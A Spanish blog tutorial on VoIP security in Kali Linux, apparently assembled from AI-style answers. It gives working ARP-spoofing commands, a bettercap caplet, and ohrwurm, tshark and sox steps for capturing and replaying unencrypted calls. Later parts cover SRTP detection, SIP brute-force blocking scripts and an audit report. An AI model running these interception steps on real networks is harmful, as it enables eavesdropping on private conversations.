Ohrwurm: Captura de Tráfico VoIP

 https://www.onlinetis.com/es/

Ohrwurm: Captura de Tráfico VoIP

Si estás buscando información sobre Ohrwurm en Kali Linux, probablemente te refieras a la herramienta de análisis de tráfico diseñada para detectar y extraer paquetes de voz (VoIP) en una red.

Aquí tienes un desglose de qué es, para qué sirve y cómo funciona esta herramienta:


¿Qué es Ohrwurm?

Ohrwurm es una herramienta pequeña pero potente que se utiliza principalmente para el sniffing de RTP (Real-time Transport Protocol). Su función principal es interceptar flujos de audio de llamadas VoIP que no están cifradas y guardarlos en archivos de sonido que puedes reproducir después.

Características Principales:

  • Captura en tiempo real: Escucha el tráfico de la red buscando paquetes RTP.

  • Extracción de audio: Convierte los datos de red capturados en archivos .raw o .wav.

  • Ligera: Está escrita en C, lo que la hace extremadamente rápida y eficiente en comparación con herramientas más pesadas como Wireshark.


Cómo utilizarlo en Kali Linux

Aunque herramientas como Wireshark pueden hacer lo mismo de forma gráfica, Ohrwurm es ideal si estás trabajando desde la terminal o en un entorno de pruebas de penetración donde la velocidad es clave.

1. Instalación

Si no la tienes instalada por defecto, puedes obtenerla a través de los repositorios de Kali o compilarla desde su código fuente. Generalmente se encuentra en:

Bash
sudo apt update
sudo apt install ohrwurm

2. Uso Básico

Para empezar a escuchar en una interfaz específica (por ejemplo, eth0), el comando suele ser:

Bash
ohrwurm -i eth0 -a -v
  • -i: Especifica la interfaz de red.

  • -a: Escucha todos los flujos de audio detectados.

  • -v: Modo "verbose" para ver qué está pasando en pantalla.

3. El proceso de captura

Cuando Ohrwurm detecta una sesión RTP, comienza a escribir los datos en el disco. Al finalizar la llamada, obtendrás un archivo de audio que contiene la conversación interceptada.


Consideraciones Importantes

  • Cifrado: Ohrwurm no puede descifrar llamadas que utilicen SRTP (Secure RTP). Si la comunicación está cifrada, solo verás datos basura.

  • ARP Spoofing: Para capturar llamadas de otros dispositivos en la misma red, normalmente necesitarás combinar Ohrwurm con una técnica de Man-in-the-Middle (como usar arpspoof o ettercap) para redirigir el tráfico hacia tu máquina.

Nota de seguridad: Recuerda que interceptar comunicaciones privadas sin consentimiento es ilegal. Utiliza esta herramienta únicamente en entornos de laboratorio controlados o durante auditorías de seguridad autorizadas.


Para interceptar el tráfico VoIP de otros dispositivos en una red local y que Ohrwurm pueda capturarlo, necesitamos posicionarnos en medio de la comunicación. El método más común es el ARP Spoofing.

Aquí tienes una guía paso a paso de cómo configurar este escenario en Kali Linux:


1. Habilitar el reenvío de IP (IP Forwarding)

Antes de empezar, debes configurar tu máquina Kali para que actúe como un "router". Si no haces esto, los dispositivos que ataques perderán la conexión a internet y se darán cuenta de que algo va mal.

Bash
echo 1 > /proc/sys/net/ipv4/ip_forward

2. Realizar el ARP Spoofing con arpspoof

Necesitarás engañar tanto a la víctima (el teléfono o PC que hace la llamada) como al router (la puerta de enlace). Abre dos terminales diferentes:

  • Terminal A (Engañar a la víctima):

    arpspoof -i eth0 -t [IP_VICTIMA] [IP_ROUTER]

  • Terminal B (Engañar al router):

    arpspoof -i eth0 -t [IP_ROUTER] [IP_VICTIMA]

Reemplaza eth0 por tu interfaz (usa ip a para verificarla) y las direcciones IP correspondientes.

3. Ejecutar Ohrwurm para capturar el audio

Una vez que el tráfico esté pasando por tu equipo, abre una tercera terminal para iniciar la escucha de los paquetes RTP:

Bash
ohrwurm -i eth0 -v

¿Qué verás en pantalla?

Si hay una llamada activa sin cifrar (VoIP estándar), Ohrwurm mostrará mensajes indicando que ha detectado un "Payload Type" (generalmente G.711, GSM, etc.) y empezará a generar archivos con nombres como rtp_captura_XXXX.raw.


4. Convertir y escuchar el audio

Ohrwurm suele guardar el audio en formato RAW (datos puros). Para escucharlo, puedes usar herramientas como sox o importarlo en Audacity:

  1. En Audacity: Ve a Archivo > Importar > Datos sin procesar (Raw Data).

  2. Configuración común: Suele ser codificación VOX ADPCM o u-Law, con una frecuencia de muestreo de 8000 Hz.


Herramientas alternativas (Modernas)

Si Ohrwurm te da problemas de compatibilidad, te recomiendo echar un vistazo a:

  • Bettercap: Es una suite "todo en uno" que puede hacer el ARP Spoofing y el análisis de red de forma mucho más automatizada.

  • Wireshark (Telephony > RTP Streams): Es el estándar de oro para analizar, filtrar y reproducir audio VoIP de forma visual.

 

Bettercap es como la "navaja suiza" moderna para ataques de red en Kali Linux. A diferencia de usar tres terminales con arpspoof y ohrwurm, Bettercap te permite automatizar todo el proceso con un solo flujo de trabajo.

Aquí tienes cómo configurar un ataque Man-in-the-Middle (MitM) para capturar tráfico de red (incluyendo VoIP) de forma automatizada:


Pasos para automatizar con Bettercap

1. Iniciar Bettercap

Abre tu terminal y arranca la herramienta especificando tu interfaz de red (normalmente eth0 o wlan0):

Bash
sudo bettercap -iface eth0

2. Configurar el ataque en tiempo real

Una vez dentro de la consola de Bettercap (verás el prompt >), introduce estos comandos en orden:

  • net.probe on: Escanea la red para encontrar dispositivos activos.

  • set arp.spoof.targets [IP_OBJETIVO]: Define a quién quieres interceptar (puedes poner varias IPs separadas por comas o un rango como 192.168.1.0/24).

  • set arp.spoof.fullduplex true: Engaña tanto al objetivo como al router simultáneamente (imprescindible).

  • arp.spoof on: Inicia el ataque de envenenamiento ARP.

  • net.sniff on: Empieza a capturar y mostrar el tráfico que pasa por tu máquina.

3. Capturar el tráfico VoIP (RTP)

Bettercap mostrará mucha información. Si quieres centrarte en los paquetes de audio, puedes filtrar el sniffing para que solo guarde o muestre lo relevante.

Para guardar todo el tráfico interceptado en un archivo que luego puedas abrir con Wireshark (que es mucho más potente que Ohrwurm para reconstruir el audio), usa:

Bash
set net.sniff.output captura_voip.pcap

¿Cómo extraer el audio después?

Una vez tengas el archivo .pcap, el proceso en Wireshark es el más fiable hoy en día:

  1. Abre el archivo captura_voip.pcap en Wireshark.

  2. Ve al menú superior: Telephony -> VoIP Calls.

  3. Selecciona la llamada detectada y haz clic en Play Streams.

  4. ¡Listo! Podrás escuchar las dos direcciones de la voz y guardarlas como .wav.


Pro-Tip: El "Capstone" (Automatización Total)

Si no quieres escribir los comandos cada vez, puedes crear un archivo llamado ataque.cap con este contenido:

Plaintext
net.probe on
set arp.spoof.targets 192.168.1.15
set arp.spoof.fullduplex true
arp.spoof on
set net.sniff.output voip_test.pcap
net.sniff on

Y ejecutarlo con un solo comando:

sudo bettercap -iface eth0 -caplet ataque.cap

 

Una vez que ya has hecho el "trabajo sucio" con Bettercap o arpspoof y tienes tu archivo .pcap, extraer el audio en Wireshark es casi como usar un reproductor de música.

Aquí tienes los pasos exactos para reconstruir la conversación:


1. Abrir el archivo de captura

Inicia Wireshark y abre el archivo que generaste (por ejemplo, voip_test.pcap). Verás miles de paquetes, pero no te preocupes por el desorden; vamos a filtrar lo que importa.

2. Localizar las llamadas VoIP

Wireshark tiene un analizador específico para esto. Ve al menú superior:

  • Telephony (Telefonía) > VoIP Calls.

Se abrirá una ventana que lista todas las sesiones de voz detectadas en la captura. Verás la IP de origen, la de destino, el protocolo (SIP, H.323, etc.) y el estado de la llamada.

3. Analizar el flujo de audio (RTP)

Selecciona la llamada que te interesa y haz clic en el botón Play Streams (Reproducir flujos).

Se abrirá el RTP Player:

  • Verás dos pistas de audio (una para cada interlocutor).

  • Asegúrate de que las casillas de "Output" estén marcadas para ambas pistas.

  • Haz clic en el botón Play para escuchar la conversación directamente.

4. Exportar el audio a un archivo común (.wav)

Si quieres guardar la conversación para escucharla después en cualquier reproductor:

  1. En la misma ventana del RTP Player, haz clic en el botón Export (o Save dependiendo de tu versión de Wireshark).

  2. Selecciona Audio Payload.

  3. Elige el formato de archivo (normalmente .wav).

  4. Dale un nombre y guárdalo.


¿Qué pasa si no escuchas nada? (Problemas comunes)

  • Cifrado (SRTP): Si en la columna de protocolo ves SRTP en lugar de RTP, la llamada está cifrada. Wireshark mostrará los paquetes, pero solo escucharás ruido blanco o silencio porque no tienes las llaves de cifrado.

  • Paquetes perdidos: Si el audio se corta o suena robótico, es posible que tu máquina Kali no fuera lo suficientemente rápida procesando el tráfico durante el ataque de ARP Spoofing.

  • Códec no soportado: Wireshark soporta los códecs más comunes (G.711, G.722, GSM). Si usan un códec propietario muy raro, puede que no logre decodificarlo automáticamente.


Un truco visual: El análisis de flujo

Si quieres ver cómo se "ve" la conversación técnicamente, puedes ir a:

Telephony > RTP > RTP Streams.

Ahí puedes seleccionar un flujo y darle a Analyze. Esto te mostrará si hubo "Jitter" (retrasos) o pérdida de paquetes, lo cual es muy útil para saber si tu ataque MitM fue estable.

 

Usar tshark (la versión de terminal de Wireshark) es la forma más "pro" y rápida de hacerlo, especialmente si tienes archivos .pcap muy pesados que harían que la interfaz gráfica se congele.

Aquí tienes los comandos clave para extraer el audio directamente desde la consola:


1. Listar los flujos de audio (RTP)

Primero, necesitas saber qué flujos hay dentro del archivo para identificar los SSRC (identificadores de sincronización).

Bash
tshark -r captura_voip.pcap -H -z rtp,streams
  • -r: Lee el archivo.

  • -z rtp,streams: Genera una tabla con las IPs, puertos y el SSRC de cada dirección de la llamada.

2. Extraer el "Payload" (los datos de voz)

Una vez que tienes el SSRC del flujo que te interesa (por ejemplo: 0x1234abcd), puedes extraer los datos crudos a un archivo .raw:

Bash
tshark -r captura_voip.pcap -Y "rtp.ssrc == 0x1234abcd" -T fields -e rtp.payload > voz_extraida.raw

3. Convertir el archivo RAW a WAV

El archivo .raw generado está en formato hexadecimal. Para convertirlo en un audio que puedas escuchar, lo más sencillo es usar SoX (Sound eXchange), que suele venir en Kali:

Bash
sox -t raw -r 8000 -v 1 -c 1 -e mu-law voz_extraida.raw salida.wav
  • -r 8000: Frecuencia de muestreo típica de VoIP.

  • -e mu-law: El códec estándar (G.711). Si no funciona, prueba con -e a-law.


Resumen del flujo de trabajo "Hacker"

Si quieres ser realmente eficiente, este es el orden lógico de herramientas que hemos visto:

PasoHerramientaFunción
1. InterceptaciónbettercapRedirige el tráfico hacia ti (MITM).
2. Capturatcpdump o bettercapGuarda los paquetes en un archivo .pcap.
3. Análisistshark o WiresharkIdentifica y extrae los paquetes de voz.
4. ConversiónsoxTransforma los datos crudos en un audio reproducible.

¿Qué sigue ahora?

Ya tienes todo el arsenal para auditar redes VoIP. Ten en cuenta que en redes modernas (como WhatsApp, Signal o sistemas corporativos avanzados), la voz viaja cifrada con TLS/SRTP, lo que hace que estos métodos solo capturen ruido.

 

Identificar si una red VoIP está cifrada es el primer paso crítico para no perder el tiempo capturando "ruido" digital. En el mundo de la telefonía IP, el cifrado ocurre en dos niveles: la señalización (quién llama a quién) y el flujo de voz (lo que se dice).

Aquí te explico cómo detectarlo usando Wireshark o tshark:


1. Revisa el Protocolo de Señalización (SIP vs. SIPS)

El protocolo SIP es el que establece la llamada.

  • SIP (Puerto 5060): Normalmente viaja en texto plano (UDP/TCP). Si ves mensajes como INVITE o 200 OK legibles, la señalización NO está cifrada.

  • SIPS / TLS (Puerto 5061): Si ves tráfico en el puerto 5061 etiquetado como TLS, la señalización está cifrada. Aquí ya es difícil saber siquiera quién está llamando.


2. Revisa el Protocolo de Transporte (RTP vs. SRTP)

Aquí es donde vive el audio. Una vez que la llamada se establece, se abren puertos dinámicos para el flujo de datos.

Cómo identificarlo en Wireshark:

  1. Usa el filtro: rtp o srtp.

  2. Si es RTP: Verás paquetes con el protocolo "RTP". Si haces clic derecho en uno y vas a Protocol Preferences, verás opciones para decodificarlo. Esto significa que es vulnerable y puedes extraer el audio.

  3. Si es SRTP: Verás los paquetes etiquetados como SRTP (Secure Real-time Transport Protocol).

    • Si intentas reproducirlo, solo escucharás estática o silencio.

    • En la información del paquete verás etiquetas de "Encrypted Payload".


3. El indicativo "SDP" (La prueba definitiva)

Dentro de los paquetes SIP INVITE, existe una sección llamada SDP (Session Description Protocol) donde los dos teléfonos acuerdan cómo van a hablar.

  • Busca la línea que empieza por m=audio.

  • Si dice RTP/AVP, el audio es plano (abierto).

  • Si dice RTP/SAVP (la "S" es de Secure), el audio viajará cifrado mediante SRTP.


Resumen de viabilidad

Si ves esto...¿Puedes escuchar la voz?Razón
SIP (5060) + RTPTodo el tráfico es transparente.
SIP (5060) + SRTPNOSabes quién llama, pero la voz está cifrada.
TLS (5061) + SRTPDIFÍCILNo ves ni la señalización ni el audio (estándar moderno).

¿Qué pasa con apps como WhatsApp o Telegram?

Estas aplicaciones no usan el estándar SIP tradicional de la misma forma que un teléfono de oficina. Utilizan protocolos propios basados en extremo a extremo (E2EE). En estos casos, aunque captures el tráfico con Bettercap, verás simplemente tráfico UDP cifrado imposible de decodificar con herramientas como Ohrwurm.


Usar tshark para filtrar mensajes INVITE es la forma más rápida de auditar una red grande sin tener que navegar por miles de paquetes. El mensaje INVITE es el "timbre" de la llamada; contiene toda la información técnica sobre cómo se va a realizar la comunicación.

Aquí tienes el comando maestro para extraer esta información de un archivo .pcap o en vivo:


1. Filtrar Mensajes INVITE con tshark

Este comando te mostrará quién llama, a quién llaman y qué tipo de audio (códec) están intentando usar:

Bash
tshark -r tu_captura.pcap -Y "sip.Method == INVITE" -T fields -e frame.time -e ip.src -e sip.from.user -e sip.to.user -e sip.resend

¿Qué significan estos campos?

  • sip.Method == INVITE: Filtra solo los paquetes que inician una llamada.

  • sip.from.user: El número o extensión de quien llama.

  • sip.to.user: El número o extensión del destino.

  • sip.resend: Si ves muchos "True", hay problemas de red o congestión.


2. Detectar Cifrado en la Señalización (SDP)

Para saber si la voz irá cifrada antes de que siquiera empiece, añadimos un filtro para el campo Media Attribute:

Bash
tshark -r tu_captura.pcap -Y "sip.Method == INVITE" -T fields -e sip.from.user -e sip.to.user -e sdp.media_attr

Interpretación de resultados:

  • Si en los atributos ves crypto o fingerprint: La llamada usará SRTP (Cifrada). No pierdas tiempo intentando extraer el audio con Ohrwurm.

  • Si ves rtpmap con códecs como PCMU, PCMA o G729 sin rastro de "crypto": La llamada es abierta y puedes proceder con la extracción de audio.


3. Auditoría en tiempo real (Live)

Si quieres dejar tu equipo Kali "escuchando" en la red mientras haces el ARP Spoofing con Bettercap, usa este comando para ver las llamadas que van ocurriendo en el momento:

Bash
sudo tshark -i eth0 -n -Y "sip.Method == INVITE" -T fields -e ip.src -e sip.from.user -e sip.to.user

Resumen de Seguridad

Si eres un administrador de red y ves que este comando te devuelve datos legibles (números de extensión, IPs internas y tipos de códec), tu red tiene una vulnerabilidad de exposición de datos. Lo ideal sería implementar TLS para SIP y SRTP para el audio.

Dato curioso: Muchos teléfonos IP antiguos o centralitas mal configuradas aceptan llamadas cifradas pero, si el otro lado no las soporta, "degradan" la seguridad a audio abierto automáticamente. Con estos comandos puedes detectar si eso está pasando en tu oficina.

 

Vamos a crear un script de Bash sencillo que automatice la vigilancia de la red. Este script usará tshark en segundo plano y, cada vez que detecte una llamada INVITE (un intento de llamada), analizará si es segura o si el audio viaja en abierto.

El Script: voip_watchdog.sh

Copia este código en un archivo llamado voip_watchdog.sh en tu Kali:

Bash
#!/bin/bash

# Interfaz de red (cámbiala si usas wlan0 o eth1)
INTERFACE="eth0"

echo "[*] Iniciando Vigilante VoIP en $INTERFACE..."
echo "[*] Buscando llamadas SIP sin cifrar..."
echo "------------------------------------------------"

# Ejecutamos tshark para capturar mensajes INVITE en tiempo real
sudo tshark -i $INTERFACE -n -Y "sip.Method == INVITE" -l -T fields \
    -e frame.time \
    -e ip.src \
    -e sip.from.user \
    -e sip.to.user \
    -e sdp.media_attr | while read -r time src from to attr; do

    # Verificamos si existe el atributo 'crypto' en el SDP
    if [[ $attr == *"crypto"* ]]; then
        STATUS="SECURE (SRTP)"
        COLOR="\e[32m" # Verde
    else
        STATUS="VULNERABLE (RTP)"
        COLOR="\e[31m" # Rojo
    fi

    echo -e "${COLOR}[$(date +%H:%M:%S)] Alerta de Llamada: $from -> $to | Origen: $src | Estado: $STATUS\e[0m"
done

Cómo ponerlo en marcha

  1. Dale permisos de ejecución:

    Bash
    chmod +x voip_watchdog.sh
    
  2. Ejecútalo:

    Bash
    ./voip_watchdog.sh
    

¿Qué hace exactamente este script?

  • Escucha pasiva: No hace ruido en la red, solo analiza los paquetes que llegan a tu interfaz.

  • Detección de procedencia: Te dice el número de extensión de origen y destino.

  • Análisis de seguridad: Si no detecta el intercambio de llaves criptográficas (crypto), marca la llamada en ROJO como vulnerable. Esas son las llamadas que podrías capturar con ohrwurm o bettercap.


Un paso más allá: El "Honey-Pot" VoIP

Si eres un profesional de seguridad (Blue Team), puedes dejar este script corriendo en un servidor. Si alguien intenta hacer llamadas no autorizadas o si un atacante está probando extensiones (SIP scanning), lo verás en tiempo real.

 

Los ataques de fuerza bruta o escaneo de extensiones (SIP scanning) son el pan de cada día en los servidores VoIP. Los atacantes usan herramientas como svwar (de la suite SIPVicious) para probar miles de extensiones hasta encontrar una que no requiera contraseña o tenga una débil, y así realizar llamadas costosas a cargo de la víctima.

Aquí te explico cómo detectarlos y cómo diferenciar un escaneo de una llamada legítima.


1. El patrón del atacante (SIP Scanning)

Cuando alguien escanea tu centralita (PBX), no envía un solo INVITE. Envía cientos de mensajes por segundo probando números secuenciales: 100, 101, 102... o nombres comunes como admin, reception, user.

Cómo detectarlo con tshark

Podemos modificar nuestro script o usar este comando de una sola línea para ver si alguien está "ametrallando" nuestro puerto 5060:

Bash
sudo tshark -i eth0 -n -f "udp port 5060" -Y "sip.Method == INVITE" -T fields -e ip.src -e sip.to.user | sort | uniq -c | sort -nr

¿Qué hace este comando?

  • sort | uniq -c: Cuenta cuántas veces aparece cada IP y a qué extensión está intentando llamar.

  • Resultado: Si ves que una sola IP ha enviado 500 mensajes INVITE a 500 extensiones distintas en un minuto, estás bajo un ataque de escaneo.


2. Script de Alarma de Fuerza Bruta

Podemos mejorar nuestro script anterior para que detecte ráfagas sospechosas. Si una IP envía más de 10 peticiones en menos de un segundo, es casi seguro que es un bot.

Bash
#!/bin/bash
INTERFACE="eth0"
UMBRAL=10

echo "[*] Monitor de Fuerza Bruta SIP iniciado..."

# Capturamos el tráfico y contamos peticiones por IP
sudo tshark -i $INTERFACE -n -Y "sip.Method == INVITE" -T fields -e ip.src -l | while read -r src_ip; do
    # Guardamos la marca de tiempo en un archivo temporal por cada IP
    echo "$(date +%s)" >> "/tmp/sip_$src_ip"
    
    # Contamos cuántas peticiones hizo esa IP en los últimos 2 segundos
    COUNT=$(find "/tmp/sip_$src_ip" -mmin -0.03 | wc -l)
    
    if [ "$COUNT" -gt "$UMBRAL" ]; then
        echo -e "\e[31m[ALERTA] Posible Escaneo/Fuerza Bruta desde: $src_ip ($COUNT intentos detectados)\e[0m"
        # Aquí podrías añadir una regla de IPTABLES para bloquear la IP automáticamente
        # sudo iptables -A INPUT -s $src_ip -j DROP
    fi
done

3. ¿Cómo protegerse? (Defensa)

Si detectas este comportamiento en tu auditoría, las recomendaciones de seguridad son:

  1. Cambiar el puerto por defecto: Mover el servicio SIP del puerto 5060 al 5073 (por ejemplo) reduce el 90% de los escaneos automáticos.

  2. Fail2Ban: Configurar Fail2Ban para que lea los logs de tu centralita (Asterisk, FreePBX) y banee automáticamente las IPs que fallen la autenticación.

  3. SIPS/TLS: Como vimos antes, cifrar la señalización hace que el atacante ni siquiera pueda ver qué extensiones existen.


Un paso final hacia la automatización total

Si el audio no está cifrado (RTP plano), el atacante no solo puede encontrar la extensión, sino que una vez dentro puede escuchar las llamadas de otros usuarios usando las técnicas que vimos al principio con ohrwurm.

 

Implementar un bloqueo automático es la forma más efectiva de pasar de la "detección" a la "protección" activa. En Kali Linux (o cualquier servidor basado en Debian/Asterisk), puedes usar iptables para cerrar la puerta a los atacantes en tiempo real.

Aquí tienes cómo integrar el bloqueo automático en tu script:


Script: SIP-Sentinel (Detección + Bloqueo)

Este script no solo te avisa, sino que ejecuta un comando de sistema para banear la IP del atacante por 24 horas.

Bash
#!/bin/bash

INTERFACE="eth0"
UMBRAL=15  # Número de peticiones INVITE
TIEMPO=5   # Ventana de tiempo en segundos

echo "[*] SIP-Sentinel Activo. Protegiendo interfaz $INTERFACE..."

# Aseguramos que iptables permita tráfico de control pero bloquee ataques
sudo tshark -i $INTERFACE -n -Y "sip.Method == INVITE" -T fields -e ip.src -l | while read -r src_ip; do
    
    # Ignorar nuestra propia IP (Whitelist - cambia 192.168.1.10 por la tuya)
    if [[ "$src_ip" == "192.168.1.10" ]]; then continue; fi

    # Registrar el intento
    NOW=$(date +%s)
    echo "$NOW" >> "/tmp/sip_log_$src_ip"
    
    # Contar intentos en la ventana de tiempo
    COUNT=$(awk -v t="$NOW" -v v="$TIEMPO" '$1 > t-v' "/tmp/sip_log_$src_ip" | wc -l)
    
    if [ "$COUNT" -gt "$UMBRAL" ]; then
        echo -e "\e[41m[BLOQUEO]\e[0m IP Atacante Detectada: $src_ip"
        
        # Aplicar regla de IPTABLES
        sudo iptables -A INPUT -s "$src_ip" -j DROP
        
        echo "[!] IP $src_ip bloqueada en el Firewall."
        
        # Limpiar log para evitar re-bloqueos innecesarios
        rm "/tmp/sip_log_$src_ip"
    fi
done

Cómo gestionar los bloqueos

Una vez que el script empiece a funcionar, puedes ver a quién has "atrapado" con este comando:

  • Ver lista de bloqueados: sudo iptables -L -n --line-numbers

  • Desbloquear una IP (si te equivocas): sudo iptables -D INPUT [NÚMERO_DE_LÍNEA]

  • Limpiar todas las reglas: sudo iptables -F


Consideraciones de Seguridad Profesional

Si vas a usar esto en un entorno de producción o auditoría real, ten en cuenta lo siguiente:

  1. Persistencia: Las reglas de iptables se borran al reiniciar. Si quieres que sean permanentes, usa iptables-persistent.

  2. Falsos Positivos: Si tienes muchos usuarios detrás de una misma IP (como una oficina remota usando NAT), podrías bloquear a usuarios legítimos. Por eso el Whitelist en el script es fundamental.

  3. Logs de Sistema: Es recomendable que el script también guarde un registro en un archivo de texto (>> ban_history.log) para que puedas analizar los patrones de ataque más tarde.


Resumen del camino recorrido

Hemos pasado de capturar audio con Ohrwurm, a interceptar redes con Bettercap, analizar paquetes con Wireshark/tshark y finalmente construir un Firewall defensivo automatizado.

 

Crear un informe de auditoría es el paso final para convertir una sesión de "hacking" en un servicio profesional de consultoría. Un buen reporte no solo dice qué falló, sino cómo arreglarlo y qué nivel de riesgo representa para la empresa.

Aquí tienes una estructura profesional que puedes llenar con los datos obtenidos de Ohrwurm, Bettercap y tshark:


Estructura de Informe de Seguridad VoIP

1. Resumen Ejecutivo

Objetivo: Que un gerente entienda el riesgo en 30 segundos.

  • Estado General: Se detectaron vulnerabilidades críticas en la segmentación de red y el cifrado de llamadas.

  • Riesgo Principal: Interceptación de conversaciones privadas y posible fraude telefónico (SIP Scanning).

2. Hallazgos Técnicos (Evidencias)

Aquí es donde incluyes lo que descubriste con tus herramientas:

HallazgoHerramienta UsadaGravedadDescripción
Tráfico RTP en claroohrwurm / tsharkCríticaLas llamadas no usan SRTP. El audio fue capturado y reproducido con éxito.
Señalización Expuestatshark (INVITE)AltaSe visualizan extensiones, IPs y nombres de usuario en los paquetes SIP.
Vulnerabilidad MitMbettercapAltaLa red permite el envenenamiento ARP, facilitando la interceptación masiva.

3. Prueba de Concepto (PoC)

En esta sección añades capturas de pantalla o fragmentos de log:

  • Captura de tshark: Muestra el flujo de una llamada detectada por tu script.

  • Archivo de Audio: Menciona que se logró reconstruir un archivo .wav legible a partir del tráfico capturado.


4. Recomendaciones de Mitigación (Remediación)

Para cerrar el informe, debes proponer soluciones concretas:

  1. Implementar TLS/SRTP: Forzar el cifrado tanto en la señalización (puerto 5061) como en el audio.

  2. Seguridad en Capa 2: Configurar Dynamic ARP Inspection (DAI) en los switches para evitar que Bettercap pueda interceptar el tráfico.

  3. VLANs de Voz: Separar el tráfico de los teléfonos del tráfico de datos de las computadoras.

  4. Sistemas de Prevención (IPS): Utilizar scripts como el que creamos (SIP-Sentinel) o herramientas como Fail2Ban para bloquear escaneos de fuerza bruta.


Ejemplo de conclusión del reporte:

"Se recomienda de forma urgente la transición a protocolos cifrados, ya que actualmente cualquier atacante con acceso a la red local puede escuchar conversaciones confidenciales de la dirección y el departamento de ventas sin dejar rastro."


¿Cómo entregar esto?

Lo ideal es exportarlo a PDF. Si usas Kali, puedes escribirlo en un documento de Markdown y usar una herramienta como pandoc para convertirlo en un PDF elegante con un solo comando:

pandoc informe.md -o informe_final.pdf


Aquí tienes un párrafo técnico redactado profesionalmente, listo para copiar y pegar en la sección de "Metodología y Hallazgos" de tu informe. Este texto explica de forma clara cómo el uso de Ohrwurm probó la vulnerabilidad de la red.


Redacción para el Informe de Auditoría

ID de Hallazgo: VOIP-01

Título: Interceptación de Flujos de Audio mediante Protocolo RTP no Cifrado.

Herramientas Utilizadas: ohrwurm, bettercap, tshark.

Descripción Técnica:

Durante la fase de explotación controlada, se procedió a realizar una interceptación de tráfico en la capa 2 del modelo OSI mediante técnicas de ARP Spoofing. Una vez posicionado el equipo de auditoría como intermediario (Man-in-the-Middle), se utilizó la herramienta Ohrwurm para monitorizar el tráfico de red en busca de paquetes de transporte en tiempo real (RTP).

Debido a que la infraestructura de telefonía analizada utiliza RTP estándar (RFC 3550) en lugar de su variante segura (SRTP), la herramienta logró identificar, reconstruir y extraer el payload de audio de forma automatizada. Se capturaron múltiples sesiones de voz que fueron exportadas a archivos de audio legibles, demostrando que cualquier atacante con acceso a la red local puede comprometer la confidencialidad de las comunicaciones de la organización sin necesidad de poseer llaves de descifrado.

Impacto:

Crítico. La exposición de conversaciones privadas puede derivar en la fuga de información sensible, espionaje industrial o compromiso de datos personales (PII).


Cómo complementar este párrafo en tu reporte:

Para que el informe sea visualmente impactante, te sugiero añadir una tabla comparativa de lo que encontraste frente a lo que debería ser el estado ideal:

ParámetroEstado Actual (Vulnerable)Estado Recomendado (Seguro)
Protocolo de VozRTP (Puerto Dinámico)SRTP (Secure RTP)
Cifrado de AudioNinguno (Texto plano/Raw)AES-128 / AES-256
SeñalizaciónSIP (UDP 5060)SIP sobre TLS (TCP 5061)
VisibilidadCaptura total con OhrwurmTráfico ilegible (Ruido cifrado)

El toque final: Generación del PDF

Si ya tienes todo tu reporte en un archivo llamado reporte.md, puedes usar este comando en Kali para dejarlo con un acabado profesional:

Bash
pandoc reporte.md -o Reporte_Seguridad_VoIP.pdf --highlight-style tango

Entradas populares de este blog

Hacking y ciberseguridad en kali linux con Fping

Hacking y ciberseguridad en kali linux con atk6-thcping6

Como utilizar Fierce en kali linux